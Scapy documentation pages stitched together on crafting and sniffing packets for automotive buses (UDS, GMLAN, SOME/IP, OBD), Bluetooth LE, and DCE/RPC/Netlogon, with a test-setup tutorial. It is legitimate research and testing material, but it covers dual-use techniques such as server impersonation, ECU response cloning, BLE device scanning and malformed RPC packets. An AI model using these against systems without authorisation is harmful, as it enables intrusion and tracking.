0000  2E 17 2B 00 C0 A8 02 01 FF FF FF 00 C0 A8 02 01  ..+.............
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GMLAN

GMLAN is very similar to UDS. It’s GMs application layer protocol for
flashing, calibration and diagnostic of their cars.
Use the argument basecls=GMLAN on the init function of an ISOTPSocket.

Usage example:

[image: ../_images/animation-scapy-gmlan.svg]

Ecu Utility examples

The Ecu utility can be used to analyze the internal states of an Ecu under investigation.
This utility depends heavily on the support of the used protocol. UDS is supported.


Log all commands applied to an Ecu

This example shows the logging mechanism of an Ecu object. The log of an Ecu
is a dictionary of applied UDS commands. The key for this dictionary is the
UDS service name. The value consists of a list of tuples, containing a timestamp
and a log value

Usage example:

ecu = Ecu(verbose=False, store_supported_responses=False)
ecu.update(PacketList(msgs))
print(ecu.log)
timestamp, value = ecu.log["DiagnosticSessionControl"][0]







Trace all commands applied to an Ecu

This example shows the trace mechanism of an Ecu object. Traces of the current
state of the Ecu object and the received message are printed on stdout.
Some messages, depending on the protocol, will change the internal state of the Ecu.

Usage example:

ecu = Ecu(verbose=True, logging=False, store_supported_responses=False)
ecu.update(PacketList(msgs))
print(ecu.current_session)







Generate supported responses of an Ecu

This example shows a mechanism to clone a real world Ecu by analyzing a list of Packets.

Usage example:

ecu = Ecu(verbose=False, logging=False, store_supported_responses=True)
ecu.update(PacketList(msgs))
supported_responses = ecu.supported_responses
unanswered_packets = ecu.unanswered_packets
print(supported_responses)
print(unanswered_packets)







Analyze multiple UDS messages

This example shows how to load UDS messages from a .pcap file containing
CAN messages. A PcapReader object is used as socket and an
ISOTPSession parses CAN frames to ISOTP frames which are
then casted to UDS objects through the basecls parameter

Usage example:

with PcapReader("test/contrib/automotive/ecu_trace.pcap") as sock:
    udsmsgs = sniff(session=ISOTPSession(use_ext_addr=False, basecls=UDS), count=50, opened_socket=sock)


ecu = Ecu()
ecu.update(udsmsgs)
print(ecu.log)
print(ecu.supported_responses)
assert len(ecu.log["TransferData"]) == 2







Analyze on the fly with EcuSession

This example shows the usage of an EcuSession in sniff. An ISOTPSocket or any
socket like object which returns entire messages of the right protocol can be
used. An EcuSession is used as supersession in an ISOTPSession.
To obtain the Ecu object from an EcuSession, the EcuSession
has to be created outside of sniff.

Usage example:

session = EcuSession()

with PcapReader("test/contrib/automotive/ecu_trace.pcap") as sock:
    udsmsgs = sniff(session=ISOTPSession(use_ext_addr=False, basecls=UDS, supersession=session)), count=50, opened_socket=sock)

ecu = session.ecu
print(ecu.log)
print(ecu.supported_responses)








SOME/IP and SOME/IP SD messages


Creating a SOME/IP message

This example shows a SOME/IP message which requests a service 0x1234 with the
method 0x421. Different types of SOME/IP messages follow the same procedure
and their specifications can be seen here
http://www.some-ip.com/papers/cache/AUTOSAR_TR_SomeIpExample_4.2.1.pdf.

Load the contribution:

load_contrib('automotive.someip')





Create UDP package:

u = UDP(sport=30509, dport=30509)





Create IP package:

i = IP(src="192.168.0.13", dst="192.168.0.10")





Create SOME/IP package:

sip = SOMEIP()
sip.iface_ver = 0
sip.proto_ver = 1
sip.msg_type = "REQUEST"
sip.retcode = "E_OK"
sip.srv_id = 0x1234
sip.method_id = 0x421





Add the payload:

sip.add_payload(Raw ("Hello"))





Stack it and send it:

p = i/u/sip
send(p)







Creating a SOME/IP SD message

In this example a SOME/IP SD offer service message is shown with an IPv4 endpoint. Different entries and options basically follow the same procedure as shown here and can be seen at https://www.autosar.org/fileadmin/user_upload/standards/classic/4-3/AUTOSAR_SWS_ServiceDiscovery.pdf.

Load the contribution:

load_contrib('automotive.someip')





Create UDP package:

u = UDP(sport=30490, dport=30490)





The UDP port must be the one which was chosen for the SOME/IP SD transmission.

Create IP package:

i = IP(src="192.168.0.13", dst="224.224.224.245")





The IP source must be from the service and the destination address needs to be the chosen multicast address.

Create the entry array input:

ea = SDEntry_Service()

ea.type = 0x01
ea.srv_id = 0x1234
ea.inst_id = 0x5678
ea.major_ver = 0x00
ea.ttl = 3





Create the options array input:

oa = SDOption_IP4_EndPoint()
oa.addr = "192.168.0.13"
oa.l4_proto = 0x11
oa.port = 30509





l4_proto defines the protocol for the communication with the endpoint, UDP in this case.

Create the SD package and put in the inputs:

sd = SD()
sd.set_entryArray(ea)
sd.set_optionArray(oa)





Stack it and send it:

p = i/u/sd
send(p)








OBD

OBD is implemented on top of ISOTP. Use an ISOTPSocket for the communication with an Ecu.
You should set the parameters basecls=OBD and padding=True in your ISOTPSocket init call.

OBD is split into different service groups. Here are some example requests:

Request supported PIDs of service 0x01:

req = OBD()/OBD_S01(pid=[0x00])





The response will contain a PacketListField, called data_records. This field contains the actual response:

resp = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids=3196041235)])
resp.show()
###[ On-board diagnostics ]###
  service= CurrentPowertrainDiagnosticDataResponse
###[ Parameter IDs ]###
     \data_records\
      |###[ OBD_S01_PR_Record ]###
      |  pid= 0x0
      |###[ PID_00_PIDsSupported ]###
      |     supported_pids= PID20+PID1F+PID1C+PID15+PID14+PID13+PID11+PID10+PID0F+PID0E+PID0D+PID0C+PID0B+PID0A+PID07+PID06+PID05+PID04+PID03+PID01





Let’s assume our Ecu under test supports the pid 0x15:

req = OBD()/OBD_S01(pid=[0x15])
resp = sock.sr1(req)
resp.show()
###[ On-board diagnostics ]###
  service= CurrentPowertrainDiagnosticDataResponse
###[ Parameter IDs ]###
     \data_records\
      |###[ OBD_S01_PR_Record ]###
      |  pid= 0x15
      |###[ PID_15_OxygenSensor2 ]###
      |     outputVoltage= 1.275 V
      |     trim= 0 %





The different services in OBD support different kinds of data.
Service 01 and Service 02 support Parameter Identifiers (pid).
Service 03, 07 and 0A support Diagnostic Trouble codes (dtc).
Service 04 doesn’t require a payload.
Service 05 is not implemented on OBD over CAN.
Service 06 supports Monitoring Identifiers (mid).
Service 08 supports Test Identifiers (tid).
Service 09 supports Information Identifiers (iid).


Examples:

Request supported Information Identifiers:

req = OBD()/OBD_S09(iid=[0x00])





Request the Vehicle Identification Number (VIN):

req = OBD()/OBD_S09(iid=0x02)
resp = sock.sr1(req)
resp.show()
###[ On-board diagnostics ]###
  service= VehicleInformationResponse
###[ Infotype IDs ]###
     \data_records\
      |###[ OBD_S09_PR_Record ]###
      |  iid= 0x2
      |###[ IID_02_VehicleIdentificationNumber ]###
      |     count= 1
      |     vehicle_identification_numbers= ['W0L000051T2123456']
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Test-Setup Tutorials


ISO-TP Kernel Module Installation

A Linux ISO-TP kernel module can be downloaded from this website:
https://github.com/hartkopp/can-isotp.git. The file
README.isotp in this repository provides all information and
necessary steps for downloading and building this kernel module. The
ISO-TP kernel module should also be added to the /etc/modules file,
to load this module automatically at system boot.



CAN-Interface Setup

As the final step to prepare CAN interfaces for usage, these
interfaces have to be set up through some terminal commands. The bitrate
can be chosen to fit the bitrate of a CAN bus under test.

How-To:

ip link set can0 up type can bitrate 500000
ip link set can1 up type can bitrate 500000







Raspberry Pi SOME/IP setup

To build a small test environment in which you can send SOME/IP messages to and from server instances or disguise yourself as a server, one Raspberry Pi, your laptop and the vsomeip library are sufficient.


	
Download image



Download the latest raspbian image (https://www.raspberrypi.org/downloads/raspbian/) and install it on the Raspberry.



	
Vsomeip setup



Download the vsomeip library on the Raspberry, apply the git patch so it can work with the newer boost libraries and then install it.

git clone https://github.com/GENIVI/vsomeip.git
cd vsomeip
wget -O 0001-Support-boost-v1.66.patch.zip \
https://github.com/GENIVI/vsomeip/files/2244890/0001-Support-boost-v1.66.patch.zip
unzip 0001-Support-boost-v1.66.patch.zip
git apply 0001-Support-boost-v1.66.patch
mkdir build
cd build
cmake -DENABLE_SIGNAL_HANDLING=1 ..
make
make install







	
Make applications



Write some small applications which function as either a service or a client and use the Scapy SOME/IP implementation to communicate with the client or the server. Examples for vsomeip applications are available on the vsomeip github wiki page (https://github.com/GENIVI/vsomeip/wiki/vsomeip-in-10-minutes).







Cannelloni Framework

The Cannelloni framework is a small application written in C++ to
transfer CAN data over UDP. In this way, a researcher can map the CAN
communication of a remote device to its workstation, or even combine
multiple remote CAN devices on his machine. The framework can be
downloaded from this website:
https://github.com/mguentner/cannelloni.git. The README.md file
explains the installation and usage in detail. Cannelloni needs virtual
CAN interfaces on the operator’s machine. The next listing shows the
setup of virtual CAN interfaces.

How-To:

modprobe vcan

ip link add name vcan0 type vcan
ip link add name vcan1 type vcan

ip link set dev vcan0 up
ip link set dev vcan1 up

tc qdisc add dev vcan0 root tbf rate 300kbit latency 100ms burst 1000
tc qdisc add dev vcan1 root tbf rate 300kbit latency 100ms burst 1000

cannelloni -I vcan0 -R <remote-IP> -r 20000 -l 20000 &
cannelloni -I vcan1 -R <remote-IP> -r 20001 -l 20001 &











            

          

      

      

    

  

    
      
          
            
  
Bluetooth


Note

If you’re new to using Scapy, start with the usage documentation, which describes how to use Scapy with Ethernet and IP.




Warning

Scapy does not support Bluetooth interfaces on Windows.




What is Bluetooth?

Bluetooth is a short range, mostly point-to-point wireless communication
protocol that operates on the 2.4GHz ISM band [https://en.wikipedia.org/wiki/ISM_band].

Bluetooth standards are publicly available [https://www.bluetooth.com/specifications/bluetooth-core-specification] from the Bluetooth Special
Interest Group. [https://www.bluetooth.com/]

Broadly speaking, Bluetooth has three distinct physical-layer protocols:


	Bluetooth Basic Rate (BR) and Enhanced Data Rate (EDR)
	These are the “classic” Bluetooth physical layers.

BR reaches effective speeds of up to 721kbit/s. This was
ratified as IEEE 802.15.1-2002 (v1.1) and -2005 (v1.2).

EDR was introduced as an optional feature of
Bluetooth 2.0 (2004). It can reach effective speeds of 2.1Mbit/s, and has
lower power consumption than BR.

In Bluetooth 4.0 and later, this is not supported by Low Energy interfaces,
unless they are marked as dual-mode.



	Bluetooth High Speed (HS)
	Introduced as an optional feature of Bluetooth 3.0 (2009), this extends
Bluetooth by providing IEEE 802.11 (WiFi) as an alternative, higher-speed
data transport. Nodes negotiate switching with
AMP.

This is only supported by Bluetooth interfaces marked as +HS. Not all
Bluetooth 3.0 and later interfaces support it.



	Bluetooth Low Energy (BLE)
	Introduced in Bluetooth 4.0   (2010), this is an alternate physical layer
designed for low power, embedded systems. It has shorter setup times, lower
data rates and smaller MTU sizes.  It adds
broadcast and mesh network topologies, in addition to point-to-point links.

This is only supported by Bluetooth interface marked as +LE or
Low Energy – not all Bluetooth 4.0 and later interfaces support it.





Most Bluetooth interfaces on PCs use USB connectivity (even on laptops), and
this is controlled with the Host-Controller Interface (HCI).  This typically
doesn’t support promiscuous mode (sniffing), however there are many other
dedicated, non-HCI devices that support it.


Bluetooth sockets (AF_BLUETOOTH)

There are multiple protocols available for Bluetooth through AF_BLUETOOTH
sockets:


	Host-controller interface (HCI) BTPROTO_HCI
	This is the “base” level interface for communicating with a Bluetooth
controller.  Everything is built on top of this, and this represents about as
close to the physical layer as one can get with regular Bluetooth hardware.

Scapy class: BluetoothMonitorSocket

Allows to capture all HCI transactions that are taking place over all HCI
interfaces (including in BlueZ core). It is intended to perform monitoring of
transactions, device attachment and removal, BlueZ logging…

Scapy class: BluetoothUserSocket

This socket interacts with a Bluetooth controller with complete and exclusive
control of de device. This means that BlueZ will not try to take control of
the interface and will not help you manage connections via this interface.

Scapy class: BluetoothHCISocket

Using HCI protocol, this socket interacts with a Bluetooth controller but
does not have exclusive control over it, allowing BlueZ and other
applications to still use the adapter to communicate with devices.



	Logical Link Control and Adaptation Layer Protocol (L2CAP) BTPROTO_L2CAP
	Scapy class: BluetoothL2CAPSocket

Sitting above the HCI, it provides connection and connection-less data
transport to higher level protocols. It provides protocol multiplexing, packet
segmentation and reassembly operations.

When communicating with a single device, one may use a L2CAP channel.



	RFCOMM BluetoothRFCommSocket
	Scapy class: BluetoothRFCommSocket

RFCOMM is a serial port emulation protocol which operates over L2CAP.

In addition to regular data transfer, it also supports manipulation of all of
RS-232’s non-data control circuitry (RTS,
DTR, etc.)







Bluetooth on Linux

Linux’s Bluetooth stack is developed by the BlueZ project [http://www.bluez.org/]. The Linux kernel
contains drivers to provide access to Bluetooth [https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git] interfaces using HCI, which
are exposed through sockets with AF_BLUETOOTH.

BlueZ also provides a user-space companion to these kernel interfaces. The key
components are:


	bluetoothd
	A daemon that provides access to Bluetooth devices over D-Bus.



	bluetoothctl
	An interactive command-line program which interfaces with the bluetoothd
over D-Bus.



	hcitool
	A command-line program which interfaces directly with kernel interfaces.





Support for Classic Bluetooth in bluez is quite mature [http://www.bluez.org/profiles/], however BLE is
under active development [https://git.kernel.org/pub/scm/bluetooth/bluez.git/tree/TODO].




First steps


Note

You must run these examples as root.  These have only been tested on
Linux, and require Scapy v2.4.3 or later.




Verify Bluetooth device

Before doing anything else, you’ll want to check that your Bluetooth device has
actually been detected by the operating system:

$ hcitool dev
Devices:
        hci0 xx:xx:xx:xx:xx:xx







Opening a HCI socket

The first step in Scapy is to open a HCI socket to the underlying Bluetooth
device:

>>> # Open a HCI socket to device hci0
>>> bt = BluetoothHCISocket(0)







Send a control packet

This packet contains no operation (ie: it does nothing), but it will test that
you can communicate through the HCI device:

>>> ans, unans = bt.sr(HCI_Hdr()/HCI_Command_Hdr())
Received 1 packets, got 1 answers, remaining 0 packets





You can then inspect the response:

>>> # ans[0] = Answered packet #0
>>> # ans[0][1] = The response packet
>>> p = ans[0][1]
>>> p.show()
###[ HCI header ]###
  type= Event
###[ HCI Event header ]###
     code= 0xf
     len= 4
###[ Command Status ]###
        status= 1
        number= 2
        opcode= 0x0







Receiving all events

To start capturing all events from the HCI device, use sniff:

>>> pkts = bt.sniff()
(press ^C after a few seconds to stop...)
>>> pkts
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:0>





Unless your computer is doing something else with Bluetooth, you’ll probably get
0 packets at this point. This is because sniff doesn’t actually enable any
promiscuous mode on the device.

However, this is useful for some other commands that will be explained later on.



Importing and exporting packets

Just like with other protocols, you can save packets for
future use in libpcap format with wrpcap:

>>> wrpcap("/tmp/bluetooth.pcap", pkts)





And load them up again with rdpcap:

>>> pkts = rdpcap("/tmp/bluetooth.pcap")








Working with Bluetooth Low Energy


Note

This requires a Bluetooth 4.0 or later interface that supports
BLE, either as a dedicated
LE chipset or a dual-mode LE +
BR/EDR chipset (such as an
RTL8723BU [https://www.realtek.com/en/products/communications-network-ics/item/rtl8723bu]).

These instructions only been tested on Linux, and require Scapy v2.4.3 or
later. There are bugs in earlier versions which decode packets incorrectly.



These examples presume you have already opened a HCI socket
(as bt).


Discovering nearby devices


Enabling discovery mode

Start active discovery mode with:

>>> # type=1: Active scanning mode
>>> bt.sr(
...   HCI_Hdr()/
...   HCI_Command_Hdr()/
...   HCI_Cmd_LE_Set_Scan_Parameters(type=1))
Received 1 packets, got 1 answers, remaining 0 packets

>>> # filter_dups=False: Show duplicate advertising reports, because these
>>> # sometimes contain different data!
>>> bt.sr(
...   HCI_Hdr()/
...   HCI_Command_Hdr()/
...   HCI_Cmd_LE_Set_Scan_Enable(
...     enable=True,
...     filter_dups=False))
Received 1 packets, got 1 answers, remaining 0 packets





In the background, there are already HCI events waiting on the socket. You can
grab these events with sniff:

>>> # The lfilter will drop anything that's not an advertising report.
>>> adverts = bt.sniff(lfilter=lambda p: HCI_LE_Meta_Advertising_Reports in p)
(press ^C after a few seconds to stop...)
>>> adverts
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:101>





Once you have the packets, disable discovery mode with:

>>> bt.sr(
...   HCI_Hdr()/
...   HCI_Command_Hdr()/
...   HCI_Cmd_LE_Set_Scan_Enable(
...     enable=False))
Begin emission:
Finished sending 1 packets.
...*
Received 4 packets, got 1 answers, remaining 0 packets
(<Results: TCP:0 UDP:0 ICMP:0 Other:1>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)







Collecting advertising reports

You can sometimes get multiple HCI_LE_Meta_Advertising_Report in a single
HCI_LE_Meta_Advertising_Reports, and these can also be for different
devices!

# Rearrange into a generator that returns reports sequentially
from itertools import chain
reports = chain.from_iterable(
  p[HCI_LE_Meta_Advertising_Reports].reports
  for p in adverts)

# Group reports by MAC address (consumes the reports generator)
devices = {}
for report in reports:
  device = devices.setdefault(report.addr, [])
  device.append(report)

# Packet counters
devices_pkts = dict((k, len(v)) for k, v in devices.items())
print(devices_pkts)
# {'xx:xx:xx:xx:xx:xx': 408, 'xx:xx:xx:xx:xx:xx': 2}







Filtering advertising reports

# Get one packet for each device that broadcasted short UUID 0xfe50 (Google).
# Android devices broadcast this pretty much constantly.
google = {}
for mac, reports in devices.items():
  for report in reports:
    if (EIR_CompleteList16BitServiceUUIDs in report and
        0xfe50 in report[EIR_CompleteList16BitServiceUUIDs].svc_uuids):
      google[mac] = report
      break

# List MAC addresses that sent such a broadcast
print(google.keys())
# dict_keys(['xx:xx:xx:xx:xx:xx', 'xx:xx:xx:xx:xx:xx'])





Look at the first broadcast received:

>>> for mac, report in google.items():
...   report.show()
...   break
...
###[ Advertising Report ]###
  type= conn_und
  atype= random
  addr= xx:xx:xx:xx:xx:xx
  len= 13
  \data\
   |###[ EIR Header ]###
   |  len= 2
   |  type= flags
   |###[ Flags ]###
   |     flags= general_disc_mode
   |###[ EIR Header ]###
   |  len= 3
   |  type= complete_list_16_bit_svc_uuids
   |###[ Complete list of 16-bit service UUIDs ]###
   |     svc_uuids= [0xfe50]
   |###[ EIR Header ]###
   |  len= 5
   |  type= svc_data_16_bit_uuid
   |###[ EIR Service Data - 16-bit UUID ]###
   |     svc_uuid= 0xfe50
   |     data= 'AB'
  rssi= -96








Setting up advertising


Note

Changing advertisements may not take effect until advertisements have first
been stopped.




AltBeacon

AltBeacon [https://github.com/AltBeacon/spec] is a proximity beacon protocol developed by Radius Networks.  This
example sets up a virtual AltBeacon:

# Load the contrib module for AltBeacon
load_contrib('altbeacon')

ab = AltBeacon(
    id1='2f234454-cf6d-4a0f-adf2-f4911ba9ffa6',
    id2=1,
    id3=2,
    tx_power=-59,
)

bt.sr(ab.build_set_advertising_data())





Once advertising has been started, the beacon may then be
detected with Beacon Locator [https://github.com/vitas/beaconloc] (Android).


Note

Beacon Locator v1.2.2 incorrectly reports the beacon as being an
iBeacon [https://github.com/vitas/beaconloc/issues/32], but the values are otherwise correct.





Eddystone

Eddystone [https://github.com/google/eddystone/] is a proximity beacon protocol developed by Google. This uses an
Eddystone-specific service data field.

This example sets up a virtual Eddystone URL [https://github.com/google/eddystone/tree/master/eddystone-url] beacon:

# Load the contrib module for Eddystone
load_contrib('eddystone')

# Eddystone_URL.from_url() builds an Eddystone_URL frame for a given URL.
#
# build_set_advertising_data() wraps an Eddystone_Frame into a
# HCI_Cmd_LE_Set_Advertising_Data payload, that can be sent to the BLE
# controller.
bt.sr(Eddystone_URL.from_url(
  'https://scapy.net').build_set_advertising_data())





Once advertising has been started, the beacon may then be
detected with Eddystone Validator [https://github.com/google/eddystone/tree/master/tools/eddystone-validator] or Beacon Locator [https://github.com/vitas/beaconloc] (Android):

[image: ../_images/ble_eddystone_url.png]


iBeacon

iBeacon [https://en.wikipedia.org/wiki/IBeacon] is a proximity beacon protocol developed by Apple, which uses their
manufacturer-specific data field.  Apple/iBeacon framing
(below) describes this in more detail.

This example sets up a virtual iBeacon:

# Load the contrib module for iBeacon
load_contrib('ibeacon')

# Beacon data consists of a UUID, and two 16-bit integers: "major" and
# "minor".
#
# iBeacon sits on top of Apple's BLE protocol.
p = Apple_BLE_Submessage()/IBeacon_Data(
   uuid='fb0b57a2-8228-44cd-913a-94a122ba1206',
   major=1, minor=2)

# build_set_advertising_data() wraps an Apple_BLE_Submessage or
# Apple_BLE_Frame into a HCI_Cmd_LE_Set_Advertising_Data payload, that can
# be sent to the BLE controller.
bt.sr(p.build_set_advertising_data())





Once advertising has been started, the beacon may then be
detected with Beacon Locator [https://github.com/vitas/beaconloc] (Android):

[image: ../_images/ble_ibeacon.png]



Starting advertising

bt.sr(HCI_Hdr()/
      HCI_Command_Hdr()/
      HCI_Cmd_LE_Set_Advertise_Enable(enable=True))







Stopping advertising

bt.sr(HCI_Hdr()/
      HCI_Command_Hdr()/
      HCI_Cmd_LE_Set_Advertise_Enable(enable=False))







Resources and references



	16-bit UUIDs for members [https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members]: List of registered UUIDs which appear in
EIR_CompleteList16BitServiceUUIDs and EIR_ServiceData16BitUUID.









	16-bit UUIDs for SDOs [https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-sdos]: List of registered UUIDs which are used by
Standards Development Organisations.









	Company Identifiers [https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers]: List of company IDs, which appear in
EIR_Manufacturer_Specific_Data.company_id.









	Generic Access Profile [https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile]: List of assigned type IDs and links to
specification definitions, which appear in EIR_Header.










Apple/iBeacon broadcast frames


Note

This describes the wire format for Apple’s Bluetooth Low Energy
advertisements, based on (limited) publicly available information. It is not
specific to using Bluetooth on Apple operating systems.



iBeacon [https://en.wikipedia.org/wiki/IBeacon] is Apple’s proximity beacon protocol. Scapy includes a contrib
module, ibeacon, for working with Apple’s BLE
broadcasts:

>>> load_contrib('ibeacon')





Setting up advertising for iBeacon (above) describes how to
broadcast a simple beacon.

While this module is called ibeacon, Apple has other “submessages” which are
also advertised within their manufacturer-specific data field, including:



	AirDrop [https://en.wikipedia.org/wiki/AirDrop]


	AirPlay


	AirPods


	Handoff [https://en.wikipedia.org/wiki/OS_X_Yosemite#Continuity]


	Nearby


	Overflow area [https://developer.apple.com/documentation/corebluetooth/cbperipheralmanager/1393252-startadvertising]







For compatibility with these other broadcasts, Apple BLE frames in Scapy are
layered on top of Apple_BLE_Submessage and Apple_BLE_Frame:



	HCI_Cmd_LE_Set_Advertising_Data, HCI_LE_Meta_Advertising_Report,
BTLE_ADV_IND, BTLE_ADV_NONCONN_IND or BTLE_ADV_SCAN_IND contain
one or more…


	EIR_Hdr, which may have a payload of one…


	EIR_Manufacturer_Specific_Data, which may have a payload of one…


	Apple_BLE_Frame, which contains one or more…


	Apple_BLE_Submessage, which contains a payload of one…


	Raw (if not supported), or IBeacon_Data.







This module only presently supports IBeacon_Data submessages. Other
submessages are decoded as Raw.

One might sometimes see multiple submessages in a single broadcast, such as
Handoff and Nearby.  This is not mandatory – there are also Handoff-only and
Nearby-only broadcasts.

Inspecting a raw BTLE advertisement frame from an Apple device:

p = BTLE(hex_bytes('d6be898e4024320cfb574d5a02011a1aff4c000c0e009c6b8f40440f1583ec895148b410050318c0b525b8f7d4'))
p.show()





Results in the output:

###[ BT4LE ]###
  access_addr= 0x8e89bed6
  crc= 0xb8f7d4
###[ BTLE advertising header ]###
     RxAdd= public
     TxAdd= random
     RFU= 0
     PDU_type= ADV_IND
     unused= 0
     Length= 0x24
###[ BTLE ADV_IND ]###
        AdvA= 5a:4d:57:fb:0c:32
        \data\
         |###[ EIR Header ]###
         |  len= 2
         |  type= flags
         |###[ Flags ]###
         |     flags= general_disc_mode+simul_le_br_edr_ctrl+simul_le_br_edr_host
         |###[ EIR Header ]###
         |  len= 26
         |  type= mfg_specific_data
         |###[ EIR Manufacturer Specific Data ]###
         |     company_id= 0x4c
         |###[ Apple BLE broadcast frame ]###
         |        \plist\
         |         |###[ Apple BLE submessage ]###
         |         |  subtype= handoff
         |         |  len= 14
         |         |###[ Raw ]###
         |         |     load= '\x00\x9ck\x8f@D\x0f\x15\x83\xec\x89QH\xb4'
         |         |###[ Apple BLE submessage ]###
         |         |  subtype= nearby
         |         |  len= 5
         |         |###[ Raw ]###
         |         |     load= '\x03\x18\xc0\xb5%'







Using Nordic Semiconductor’s nRF Sniffer

Since Scapy >2.5.0, Scapy supports Wireshark’s extcap [https://www.wireshark.org/docs/man-pages/extcap.html] interfaces.
You can therefore use your USB nordic bluetooth dongle, provided that you have installed [https://infocenter.nordicsemi.com/topic/ug_sniffer_ble/UG/sniffer_ble/installing_sniffer_plugin.html] the Wireshark module properly.

>>> load_contrib("nrf_sniffer")
>>> load_extcap()
>>> conf.ifaces
Source           Index  Name                          Address
nrf_sniffer_ble  100    nRF Sniffer for Bluetooth LE  /dev/ttyUSB0-None
[...]
>>> sniff(iface="/dev/ttyUSB0-None", prn=lambda x: x.summary())
NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND
NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND
NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND
NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_NONCONN_IND
NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_NONCONN_IND
NRFS2_PCAP / NRFS2_Packet / NRF2_Packet_Event / BTLE / BTLE_ADV / BTLE_ADV_IND









            

          

      

      

    

  

    
      
          
            
  
DCE/RPC & [MS-RPCE]


Note

DCE/RPC per DCE/RPC 1.1 [https://pubs.opengroup.org/onlinepubs/9629399/toc.pdf] with the [MS-RPCE] [https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15] additions



Scapy provides support for dissecting and building Microsoft’s Windows DCE/RPC calls.


Usage documentation


Terminology


	NDR (and NDR64) are the transfer syntax used by DCE/RPC, i.e. how objects are marshalled and sent over the network


	IDL or Interface Definition Language is “a language for specifying operations (procedures or functions), parameters to these operations, and data types” in context of DCE/RPC






NDR64 and endianness

All packets built with NDR extend the NDRPacket class, which adds the arguments ndr64 and ndrendian.

You can therefore specify while dissecting or building packets whether it uses NDR64 or not (by default: no), or its endian (by default: little)

NetrServerReqChallenge_Request(b"\x00....", ndr64=True, ndrendian="big")







Dissecting

You can dissect a DCE/RPC packet like any other packet, by calling ThePacketClass(<bytes>). The only difference is, as mentioned above, that there are extra ndr64 and ndrendian arguments.


Note

DCE/RPC is stateful, and requires the dissector to remember which interface is bound, how (negotiation), etc.
Scapy therefore provides a DceRpcSession session that remembers the context to properly dissect requests and responses.



Here’s an example where a pcap (included in the test/pcaps folder) containing a [MS-NRPC] exchange is dissected using Scapy:

>>> load_layer("msrpce")
>>> bind_layers(TCP, DceRpc, sport=40564)  # the DCE/RPC port
>>> bind_layers(TCP, DceRpc, dport=40564)
>>> pkts = sniff(offline='dcerpc_msnrpc.pcapng.gz', session=DceRpcSession)
>>> pkts[6][DceRpc5].show()
###[ DCE/RPC v5 ]###
  rpc_vers  = 5 (connection-oriented)
  rpc_vers_minor= 0
  ptype     = request
  pfc_flags = PFC_FIRST_FRAG+PFC_LAST_FRAG
  endian    = little
  encoding  = ASCII
  float     = IEEE
  reserved1 = 0
  reserved2 = 0
  frag_len  = 58
  auth_len  = 0
  call_id   = 1
  ###[ DCE/RPC v5 - Request ]###
      alloc_hint= 0
      cont_id   = 0
      opnum     = 4
  ###[ NetrServerReqChallenge_Request ]###
          PrimaryName= None
          \ComputerName\
          |###[ NDRConformantArray ]###
          |  max_count = 5
          |  \value     \
          |   |###[ NDRVaryingArray ]###
          |   |  offset    = 0
          |   |  actual_count= 5
          |   |  value     = b'WIN1'
          \ClientChallenge\
          |###[ PNETLOGON_CREDENTIAL ]###
          |  data      = b'12345678'





Scapy has opted to not abstract any of the NDR fields (see Design choices), allowing to keep access to all lengths, offsets, counts, etc… This allows to put wrong length values anywhere to test implementations.

The catch is that accessing the value of a field is a bit tedious:

>>> pkts[6][DceRpc5].ComputerName.value[0].value
b'WIN1'





Sometimes, you’ll be glad to have access to the size of a ConformantArray. Most times, you won’t.
All NDRPacket therefore include a valueof() function that goes through any array or pointer containers:

>>> pkts[6][NetrServerReqChallenge_Request].valueof("ComputerName")
b'WIN1'






Warning

Note that DceRpc5 packets are NOT NDRPacket, so you need to call valueof() on the NDR payload itself.





Building

If you were to re-build the previous packet exactly as it was dissected, it would look something like this:

>>> pkt = NetrServerReqChallenge_Request(
...    ComputerName=NDRConformantArray(max_count=5, value=[
...        NDRVaryingArray(offset=0, actual_count=5, value=b'WIN1')
...    ]),
...    ClientChallenge=PNETLOGON_CREDENTIAL(data=b'12345678'),
...    PrimaryName=None
... )





If you don’t care about specifying max_count, offset or actual_count manually, you can however also do the following:

>>> pkt = NetrServerReqChallenge_Request(
...     ComputerName=b'WIN1',
...     ClientChallenge=PNETLOGON_CREDENTIAL(data=b'12345678'),
...     PrimaryName=None
... )
>>> pkt.show()
###[ NetrServerReqChallenge_Request ]###
  PrimaryName= None
  \ComputerName\
  |###[ NDRConformantArray ]###
  |  max_count = None
  |  \value     \
  |   |###[ NDRVaryingArray ]###
  |   |  offset    = 0
  |   |  actual_count= None
  |   |  value     = 'WIN1'
  \ClientChallenge\
  |###[ PNETLOGON_CREDENTIAL ]###
  |  data      = '12345678'





And Scapy will automatically add the NDRConformantArray, NDRVaryingArray… in the middle.

This applies to NDRPointers too ! Skipping it will add a default one with a referent id of 0x20000. Take RPC_UNICODE_STRING for instance:

>>> RPC_UNICODE_STRING(Buffer=b"WIN").show2()
###[ RPC_UNICODE_STRING ]###
  Length    = 6
  MaximumLength= 6
  \Buffer    \
  |###[ NDRPointer ]###
  |  referent_id= 0x20000
  |  \value     \
  |   |###[ NDRConformantArray ]###
  |   |  max_count = 3
  |   |  \value     \
  |   |   |###[ NDRVaryingArray ]###
  |   |   |  offset    = 0
  |   |   |  actual_count= 3
  |   |   |  value     = 'WIN'








Client

Scapy also includes a DCE/RPC client: DCERPC_Client.

It provides a bunch of basic DCE/RPC features:


	connect(): connect to a host


	bind(): bind to a DCE/RPC interface


	connect_and_bind(): connect to a host, use the endpoint mapper to find the interface then reconnect to the host on the matching address


